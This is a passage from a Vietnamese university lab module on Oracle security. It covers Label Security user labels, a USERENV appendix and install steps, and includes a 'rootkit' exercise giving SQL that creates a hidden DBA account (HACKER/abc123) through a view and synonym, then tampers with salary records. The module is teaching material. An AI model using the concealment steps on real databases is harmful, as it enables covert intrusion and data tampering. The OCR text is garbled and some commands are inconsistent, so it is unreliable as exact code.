Gân nhên cho người dùng

Một phần của tài liệu MODULE THỰC HÀNH AN TOÀN cơ sở dữ LIỆU bài THỰC HÀNH THỰC HÀNH cơ CHẾ VPD, OLS, mã hóa TDE và tấn CÔNG ROOTKIT TRÊN CSDL ORACLE (Trang 68 - 99)

Ta gân nhên tương ứng như sau: (chú ý người dùng TEST cũng cần được gân nhên để cĩ thể toăn quyền truy nhập văo bảng Nhansu):

TEST label = EXEC: KH, MK, LT: ALL EXECUTIV MB EXEC: KH, MK, LT: MB EXECUTIVE MN EXEC: KH, MK, LT: MN MGR_KH_M BMGR_KH_M MGR:label = label = KH: MBKH: MN OFF_KH_M B label = OFF : KH: MB OFF_KH_M

NOFF LT OFF label = label = :KH:MN: LT: MN OFFMKMN label = : MK: MN

_ _ ___

EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH' ,user_name => 'TEST' ,max_read_label =>

'EXEC:KH,MK,LT:ALL' ,max_write_label => 'EXEC:KH,MK,LT:ALL' ,min_write_label => 'OFF' ,def_label => 'EXEC:KH,MK,LT:ALL' , row_label => 'OFF');

EXECUTE SA_USER_ADMIN.SET_USER_LABELS( policy_name =>

'CHINHSACH' ,user_name => 'EXECUTIVE_MB' ,max_read_label => 'EXEC:KH,MK,LT:MB' ,max_write_label => 'EXEC:KH,MK,LT:MB' ,min_write_label => 'OFF' ,def_label => 'EXEC:KH,MK,LT:MB' , row_label => 'OFF');

EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH' ,user_name => 'EXECUTIVE_MN',max_read_label => 'EXEC:KH,MK,LT:MN' ,max_write_label => 'EXEC:KH,MK,LT:MN' ,min_write_label => 'OFF' ,def_label => 'EXEC:KH,MK,LT:MN' , row_label => 'OFF');

EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH' ,user_name => 'MGR_KH_MB' ,max_read_label =>

'MGR:KH:MB' ,max_write_label => 'MGR:KH:MB' ,min_write_label => 'OFF' ,def_label => 'MGR:KH:MB' , row_label => 'OFF:KH:MB');

EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH' ,user_name => 'MGR_KH_MN' ,max_read_label =>

'MGR:KH:MN' ,max_write_label => 'MGR:KH:MN' ,min_write_label => 'OFF' ,def_label => 'MGR:KH:MN' , row_label => 'OFF:KH:MN');

EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH' ,user_name => 'OFF_KH_MB' ,max_read_label => 'OFF:KH:MB' ,max_write_label => 'OFF:KH:MB' ,min_write_label => 'OFF' ,def_label => 'OFF:KH:MB' , row_label => 'OFF:KH:MB');

EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH',user_name => 'OFF_KH_MN',maX_read_label =>

'OFF:KH:MN',max_write_label => 'OFF:KH:MN',min_write_label => 'OFF' ,def_label => 'OFF:KH:MN', row_label => 'OFF:KH:MN');

EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH',user_name => 'OFF_MK_MN' ,max_read_label =>

'OFF:MK:MN',max_write_label => 'OFF:MK:MN',min_write_label => 'OFF',def_label => 'OFF:MK:MN', row_label => 'OFF:MK:MN'); EXECUTE SA_USER_ADMIN.SET_USER_LABELS ( policy_name => 'CHINHSACH',user_name => 'OFF_LT_MN',maX_read_label =>

'OFF:LT:MN' ,max_write_label => 'OFF:LT:MN' ,min_write_label => 'OFF' ,def_label => 'OFF:LT:MN', row_label => 'OFF:LT:MN');

- Thu được:

VUsers

This table lists the users who are authorized for this policy. A User can be authorized under multiple policies.

User Maximum Read

Label Maximum VVrite Label Privileges

TEST EXECKH.MK.LTA LL EXEC:KH,MK.LT:ALL EXECUTIVE-MB EXEC:KH.MK.LT: MB EXECKH.MK.LTMB EXECUTIVE~MN EXEC:KH.MK.LT: MN EXEC:KH,MK,LT:MN MGR_KH_MB MGR:KH:MB MGR:KH:MB MGR’KỘN MGR:KH:MN MGR:KH:MN

OFF_'KH_'MB OFF:KH:MB OFF:KH.MB

OFF’KH’MN OFF:KH:MN OFF:KH:MN

OFF’MK’MN OFF:MK:MN OFF:MK:MN

OFF’LT_’MN OFF:LT:MN OFF:LT:MN

TONGGIAMDOC EXEC:KH.MK.LT:

Kết quả: Giâm đốc cĩ thể thực hiện mọi thao tâc trín CSDL ở chi nhânh của mình, câc trưởng phịng cĩ thể xem, sửa vă thím thơng tin của câc nhđn viín thuộc phịng họ vă khơng thể xem thơng tin của câc phịng khâc, câc nhđn viín thì chỉ cĩ thể xem thơng tin của phịng mình mă khơng được phĩp sửa đổi.

Chú ý: khi giâm đốc hay trưởng phịng insert một bản ghi văo bảng NHANSU (sau khi đê được âp dụng chính sâch CHINHSACH) thì họ phải insert văo nhên cho bản ghi đĩ. Tuy nhiín anh ta chỉ cĩ thể insert câc COT tương ứng với câc chức danh nhỏ hơn mình, đồng thời cần phải biết câc nhên tương ứng để insert một câch chính xâc.

Như vậy sau khi âp dụng OLS, câc hăng dữ liệu trong bảng vă câc người dùng đều được gân nhên an toăn phù hợp. Một người dùng chỉ được xem, thực hiện những cđu truy vấn nhất định trong một số câc bản ghi mă họ cĩ thể xem chứ khơng phải tất cả câc bản ghi của CSDL.

Ví dụ:

- Khi người dùng lă giâm đốc chi nhânh miền Bắc đăng nhập văo. Thì anh ta cĩ thể xem sửa, chỉn xĩa thơng tin của tất cả những nhđn viín vă trưởng phịng ở miền bắc.

Khi nhđn viín phịng marketing ở miền Bắc đăng nhập thì anh ta chỉ xem được thơng tin của bản thđn mă thơi. Vă anh ta khơng cĩ quyền insert, delete hay update lín bảng.

BĂI 4. THỰC HĂNH TẤN CƠNG ROOTKIT TRONG CƠ SỞ DỮ LIỆU ORACLE

4.1. GIỚI THIỆU

Rootkit lă một loại mê độc được thiết kế để che giấu khơng chỉ chính nĩ mă cịn cĩ thể che giấu được câc thănh phần liín quan khâc như: tiến trình, tệp, người dùng, nhật ký, mạng, cửa hậu (Backdoor). Rootkit lă một tập câc chương trình, đoạn mê cho phĩp tồn tại một câch bền vững, lđu dăi, khĩ cĩ thể phât hiện trín mây tính. Đặc điểm của Rootkit khâc với virus lă nĩ khơng cĩ khả năng nhđn bản, khơng tự lđy nhiễm, vă nĩ cần chiếm được quyền cao nhất của hệ thống (quyền root) để cĩ thể thực hiện được. Tuy nhiín, Rootkit rất khĩ phât hiện bởi nĩ cĩ khả năng ẩn chính mình.

Cơ sở dữ liệu Oracle nếu khơng được quản trị tốt cũng cĩ thể bị tấn cơng bởi loại mê độc hại năy.

4.2. MỤC TIÍU THỰC HĂNH

Thử nghiệm được thay đổi đường dẫn thực thi trong hệ quản trị Oracle: tạo ra một user Hacker cĩ mật khẩu lă abc123, được gân quyền dba vă thực hiện tạo ra một khung nhìn vă synonym để ẩn user Hacker trong khi người quản trị vă câc người dùng khâc khơng biết được sự tồn tại của user Hacker cũng như khơng biết được rằng user năy đê nắm được quyền cao nhất của hệ thống. Khi nắm được quyền cao nhất, user Hacker thực hiện câc thao tâc thím, sửa, xĩa.. một bảng nhđn viín để thay đổi chức vụ, lương của những nhđn viín trong cơ sở dữ liệu vă

4.3. NỘI DUNG THỰC HĂNH

Trong phần năy, chúng ta sẽ thử nghiệm thay đổi đường dẫn thực thi theo phương phâp: Tạo một private synonym vă một local object mới.

Muốn tấn cơng Rootkit trong hệ quản trị CSDL Oracle thì bước đầu tiín phải chiếm được quyền Root trong hệ quản trị CSDL, sau đĩ thực thi câc chương trình che giấu, thay đổi đường dẫn nhằm xĩa dấu vết.

Ở đđy giả sử rằng ta đê chiếm được quyền Root (System, Sys) trong hệ cơ sở dữ liệu Oracle, bđy giờ tiến hănh thay đổi đường dẫn thực thi bằng phương phâp tạo ra một khung nhìn vă một synonym nhằm che giấu tăi khoản HACKER với câc người dùng khâc.

Câc bước tiến hănh:

Bước 1: Bật sql/plus:

Bước 2: Đăng nhập văo hệ thống bằng tăi khoản system với tư câch lă một tin tặc:

Enter user_name: SYSTEM Enter password: 1

Bước 3: Tạo một user HACKER mật khẩu lă abc123: Create user hacker identified by abc123;

“SQL Plus

SQL*Plus: Release 11.1.0.6.0 - Production on Sun Oct 18 23:12:52 2015 Copyright <c> 1982, 2007, Oracle. All rights reserued.

Enter user-name: SVSTEM Enter passuord:

Connected to:

Oracle Database llg Enterprise Edỉtion Release 11.1.0.6.0 - Productỉon

Uỉth the Partỉtionlng, OLĐP, Data Mining and Real Application Testing options SQL> CREATE USER HACKER IDENTIFIED B¥ ABC123;

User created. SQL>

Bước 4: Gân quyền DBA cho user HACKER: SQL> Grant dba to hacker;

lẽTỊSQL Plus

Copyright <c> 1982, 2007, Oracle. All rights reserued. Enter user-name: SVSTEM

Enter passuord: Connected to:

Oracle Database llg Enterprise Edltỉon Release 11-1.0-G-0 — Production

Uỉth the Partitionỉng, OLÊP, Data Mining and Real Application Testlng optlons SQL> CREATE USER HACKER IDENTIPIED BV ABC123;

User created.

SQL> GRANT DBA TO HACKER; Grant succeeded.

SQL> _

Bước 5: Đăng nhập với người dùng vừa tạo:

SQL> connect

Enter user name: hacker Enter pass: ABC123

Bước 6: Truy vấn đến bảng hệ thống DBA_USER: SQL> Select username from dba_user;

■=> Khi năy ta thấy cĩ 39 dịng trong đĩ cĩ một user HACKER được tạo.

Bước 7: Đăng nhập với quyền cao nhất của người dùng HACKER: SQL> Connect as sysdba

Enter user name: HACKER Enter pass: ABC123

[ÕTỊSQL PIUS

s p A T I A L_csW_ADMIN_u s R SPAT I AL_WFS_fiDriIN_USR 39 rous selected-. SQL> CONNECT AS SVSDBO Entei' Ltsei'—n-ame : HACKEK Enter passuord:

Connected_ SQL> _

Bước 8: Tạo một view tín lă DBA_HACK1 để đânh lừa người dùng nhằm ẩn user HACKER:

SQL> create view dba_hack1 as select * from dba_users 2 where username!=’hacker’;

Bước 9: Tạo một synonym cĩ tín lă HACKER.DBA_USERS: SQL> create synonym hacker.dba_users for dba_hacker;

Bước 10: Đăng nhập lại user: SQL> connect

Enter user name: HACKER Enter pass: ABC123

Bước 11: Truy vấn tín người dùng trong bảng DBA_USER : SQL> Select username from dba_user;

■=> Lúc năy ta thấy cịn cĩ 38 dịng vă user HACKER đê bị ẩn

Sau khi thực hiện quâ trình trín, tin tặc cĩ thể thực hiện mọi tâc vụ mă những người dùng khâc khơng hỉ hay biết. Chẳng hạn, anh ta cĩ thể tạo, xem, xĩa, sửa,.... câc dữ liệu trong mọi bảng, chuyển toăn bộ cơ sở dữ liệu ra bín ngoăi hoặc đânh sập hệ thống cơ sở dữ liệu. Ở thử nghiệm năy, tin tặc sẽ tạo một bảng NHANVIEN rồi thực hiện câc tâc vụ trín bảng năy:

create table nhanvien (

manv nvarchar2 (5) not null primary key, hoten nvarchar2 (30) ,

phong nvarchar2 (30), chucvu nvarchar2 (30), luong number

);

SQL*Plus: Eelease 11.1.0.6.0 - Production on Fri Oct 23 04:39:27 2015

Copyright <c) 1982, 2007, Oracle. All rights reserued. Enter user-name: S9STEM

Enter passuord: Connected to:

Oracle Database llg Enterprise Editỉon Release 11.1.0.6.0 - Productỉon Ui

th the Partitionỉng, OLÊP, Data Mining and Real Application Testĩng optĩons

SQ L> CREAT E TABLE NHANUIENÍ

2 MANU NUARCHÊR <5> NULL PRIMARY KEY,

3 HOTEN NUARCHAR (30), 4 PHỊNG NUARÕHAR <30), 5 CHUCU NUARCHAR <30>, 6 LUƠNG NUMBER 7 >; Table created. jSQL>______________________________________________________________________________________■

Bước 13: Tạo năm bảng ghi cho bảng NhđnViín:

insert into nhanvien values (’nv001’,’mai thuy’,’nhan su’,’quan ly’,7000000) insert into nhanvien values (’nv002’,’kim chuyen’,’nhan su’,’thu ky’,5000000) insert into nhanvien values (’nv003’,’dang chanh’,’kinh doanh’,’thu

ky’,5000000)

insert into nhanvien values (’nv004’,’le hoa’,’kinh doanh ’, nhan vien’,2000000) insert into nhanvien values (’nv005’,’quoc trung’,’kinh doanh’,’truong phong ’,9000000)

lộ^SQL Plus

lEnter user-name: SYSTEM Enter passuord:

Connected to:

Oracle Database llg Enterprise Edỉtỉon Release 11.1.0.6.0 - Production

luitli the Partitioning, OLAP, Data Mining and Real Application Testỉng optỉons |sQL> CREATE TABLE NIIANUIENC

2 MANU NUARCHAR2 <5> NOT NULL PRIMARV KEY,

3 HOTEN NUARCHAR2<30), 4 PHƠNG NUARCHAR2<30), 5 CHUCUU NUARCHAR2<30>, 6 LUƠNG NUMBER 7 ); Table created.

|sQL> INSERT INTO NHANUIEN UALUES <•NU00Ỉ’,’MAI THUY’,’NHAN SU’,'QUAN LY',7000000 );

11 row created.

|sQL> INSERT INTO NHANUIEN UALUES <’NU002','KIM CHUYÍN','NHAN SU','THU KY',500000 6);

11 row created.

|sQL> INSERT INTO NHANUIEN UALUES <’NU003','DANG CHANH','KINH DOANH','THU KY',500 0000);

11 row created.

|sQL> INSERT INTO NHANUIEN UALUES <’NU004','LE HOA','KINH DOANH','NHANUIEN',20000 BỂ);

11 row created.

SQL) INSERT INTO NHANUIEN UALUES ('NU005','QUOC TRUNG','KINH DOANH','TRUƠNG PHON G',9000000);

1 row created.

Bước 14: Truy vấn dữ liệu trong bảng Nhđn Viín: Select * from nhanvien;

connect hacker/abc123

update system.nhanvien set luong= 6000000 where manv=’nv001’;

Sửa chức vụ trưởng phịng thănh nhđn viín cĩ họ tín lă Quốc Trung update system.nhanvien set chucvu=’nhanvien’

Truy vấn dữ liệu sau khi sửa => đê bị thay đổi select * from system.nhanvien;

Thay đổi chức vụ từ nhđn viín lín quản lý vă lương từ 5.000000 lín 8.000000 của nhđn viín Kim Chuyín:

TĂI LIỆU THAM KHẢO

[1] Oracle Corporation, Oracle9i Database Concepts Release 2 (9.2), Part Number A96524-01, 2002.

[2] Oracle Corporation, Database Security Guide 10g Release 1 (10.1) Part Number B10773-01, 2002.

[3] Adam Cecchetti Leviathan Security Group, Inc. Oracle Database

Server 11g, Version 1.0.1, January 2009.

(11.1), (January 2014).

[6] Jeloka, S. Advanced Security Administrator’s Guide, (June 2012). [7] Wah, P. Oracle Advanced Security Transparent Data Encryption Best

PHỤ LỤC

Phụ lục 1. CÂC THUỘC TÍNH TRONG NGỮ CẢNH MẶC ĐỊNH USERENV

Tín thuộc tính Giâ trị trả về

ACTION ID vị trí trong module (application name) vă

được thiết lập thơng

qua DBMS_APPLICATION_INFO package hoặc

OCI.

AUDITED_CUR SORID

Trả về ID cursor của phiín mă Triggered bởi kiểm tôn. Tham số năy khơng hợp lệ trong một mơi trường kiểm tôn mức mịn.

AUTHENTICAT ED-IDENTITY

Trả về ID người dùng đê được sử dụng trong xâc thực.

AUTHENTICAT ION-DATA

Dữ liệu đang được sử dụng để xâc thực người dùng đăng nhập.

AUTHENTICAT ION_METHOD

Trả về phương thức xâc thực.

BG_JOB_ID ID cơng việc của phiín hiện tại nếu nĩ được

thănh lập bởi một tiến trình nền.

CLIENT-IDEN TIFIER

Trả về ID được thiết lập bởi ứng dụng thơng

qua thủ tục DBMS_SESSION.SET_IDENTIFIER,

thuộc tính OCI_ATTR_CLIENT_IDENTIFIER

của OCI, hoặc lớp Java

Oracle.jdbc.OracleConnection.setClie

ntIdentifier.

CLIENT_INFO Trả về kích thước lín tới 64 byte thơng tin

phiín người dùng được lưu trữ bởi

DBMS_APPLICATION_INFO package.

CURRENT-BIN D

Câc biến răng buộc đối với kiểm tôn mức mịn.

CURRENT-SCH EMA

Tín của schema hiện tại.

CURRENT-SCH EMAID

ID schema hiện tại.

n

CURRENT-SQL CURRENT_SQLn trả về 4K byte tiếp theo.

CURRENT-SQL -LENGTH

Độ dăi của SQL Triggered kiểm tôn mức mịn hiện tại.

DB-DOMAIN Tín miền của CSDL.

DB_NAME Tín của CSDL.

AM E

DB_UNIQUE_N Tín duy nhất của CSDL.

ENTRYID Số Entry kiểm tôn hiện tại.

ENTERPRISE- IDENTITY

Trả về ID người dùng doanh nghiệp.

FG_JOB_ID ID cơng việc của phiín hiện tại nếu nĩ được

thănh lập bởi một tiến trình nổi bật.

EX T

GLOBAL-CONT MEMORY

Trả về số đang được sử dụng System Global Area.

GLOBAL-UID Trả về ID người dùng toăn cục từ Oracle

Internet Directory for Enterprise User Security.

HOST Tín mây chủ mă Client đê kết nối tới.

IO N

IDENTIFICAT TYPE

Trả về câch mă schema đê được tạo trong CSDL.

INSTANCE Số ID của Instance hiện tại.

ME

INSTANCE_NA Tín của Instance hiện tại.

IP_ADDRESS Địa chỉ IP của mây chủ mă Client đê kết nối

tới.

ISDBA Trả về TRUE nếu người dùng xâc thực cĩ đặc

quyền DBA.

LANG Chữ viết tắt ISO cho tín ngơn ngữ.

LANGUAGE Ngơn ngữ vă lênh thổ đang được sử dụng bởi

phiín người dùng.

MODULE Tín ứng dụng được thiết lập thơng qua OCI

hoặc DBMS_APPLICATION_INFO.

NETWORK_PRO TOCOL

Giao thức mạng được sử dụng để liín lạc.

R

NLS_CALENDA Lịch của phiín hiện tại.

NLS_DATE_FO RMAT

Định dạng ngăy của phiín.

NLS-DATE-LA NGUAGE

Ngơn ngữ được sử dụng để diễn tả ngăy.

NLS-SORT BINARY hoặc linguistic.

NLS-TERRITO RY

Lênh thổ của phiín hiện tại.

OS-USER Tín tăi khoản OS đê bắt đầu phiín.

POLICY-INVO KER

Invoker của RLS policy functions.

PROXY-ENTER PRISE-IDENTITY

Trả về Oracle Internet Directory DN khi tăi khoản proxy lă tăi khoản doanh nghiệp.

PROXY-GLOBA L-UID

ID tăi khoản toăn cục từ Oracle Internet

Directory for Enterprise User Security. NULL cho tất

cả tăi khoản proxy khâc.

PROXY-USER Tín của người dùng đê mở phiín hiện tại trín

danh nghĩa của SESSION-USER.

PROXY-USERI D

ID của người dùng đê mở phiín hiện tại trín

danh nghĩa của SESSION-USER.

SERVER_HOST Tín mây chủ đang chạy.

SERVICE_NAM E

Tín dịch vụ mă phiín đê kết nối.

SESSION-USE R

Đối với tăi khoản doanh nghiệp thì trả về schema. Đối với người dùng khâc, trả về tín tăi khoản CSDL mă người dùng hiện tại đê xâc thực.

SESSION_USE RID

ID của người dùng CSDL mă người dùng hiện tại đê được xâc thức.

SESSIONID ID phiín kiểm tôn.

SID Số phiín (khâc với sessionID).

STATEMENTID Định danh bâo câo kiểm

tôn.

STATEMENTID trả về số lượng câc cđu SQL được

kiểm tôn trong phiín cụ thể.

Phụ lục 2. HƯỚNG DẪN CĂI ĐẶT ORACLE 11G

Mục đích: Căi đặt Oracle 11g

Câc bước căi đặt Oracle 11g được thực hiện như sau:

Bước 1: Căi đặt JDK Development

Để căi đặt Oracle 11g, trước hết phải căi JDK Development trước, ở đđy căi đặt JDK Development 7.

Chọn vị trí căi đặt JDK, ấn Next.

Ấn Next

Bước 2: Căi đặt Oracle Database 11g. Oracle Universal Installer được khởi động:

Trong cửa sổ Configure Security Updates, nhập email (cĩ thể bỏ qua) rồi nhấn Next.

Chọn Install database software only trong cửa sổ Select Installation option vă nhấn Next.

Trong cửa sổ Select Product Language chọn English rồi ấn Next

Tại đđy ta tích văo Oracle Label Security (vì sau năy cĩ phần thực hănh về cơ chế năy) sau đĩ nhấn OK

Trong cửa sổ Specify Installation Location ta chọn đường dẫn vă nhấn

Next

Nếu bạn cảm thấy tạo CSDL bằng cđu lệnh trín SQL command line hay trín Database Home Page quâ khơ khan thì cĩ thể tải về SQL Developer để thực hiện CSDL bằng giao diện đồ họa. Vì SQL Developer chạy trín nền của java, nhưng trong system 32 thiếu file MSCVR100.dll, nín ta cĩ thể tải file đĩ về vă đặt trong system 32 hoặc cĩ thể căi vcredist_x86 như sau:

Ấn văo “I have read and accept the license terms.” Vă ấn Install

Một phần của tài liệu MODULE THỰC HÀNH AN TOÀN cơ sở dữ LIỆU bài THỰC HÀNH THỰC HÀNH cơ CHẾ VPD, OLS, mã hóa TDE và tấn CÔNG ROOTKIT TRÊN CSDL ORACLE (Trang 68 - 99)

Tải bản đầy đủ (DOCX)

(99 trang)
w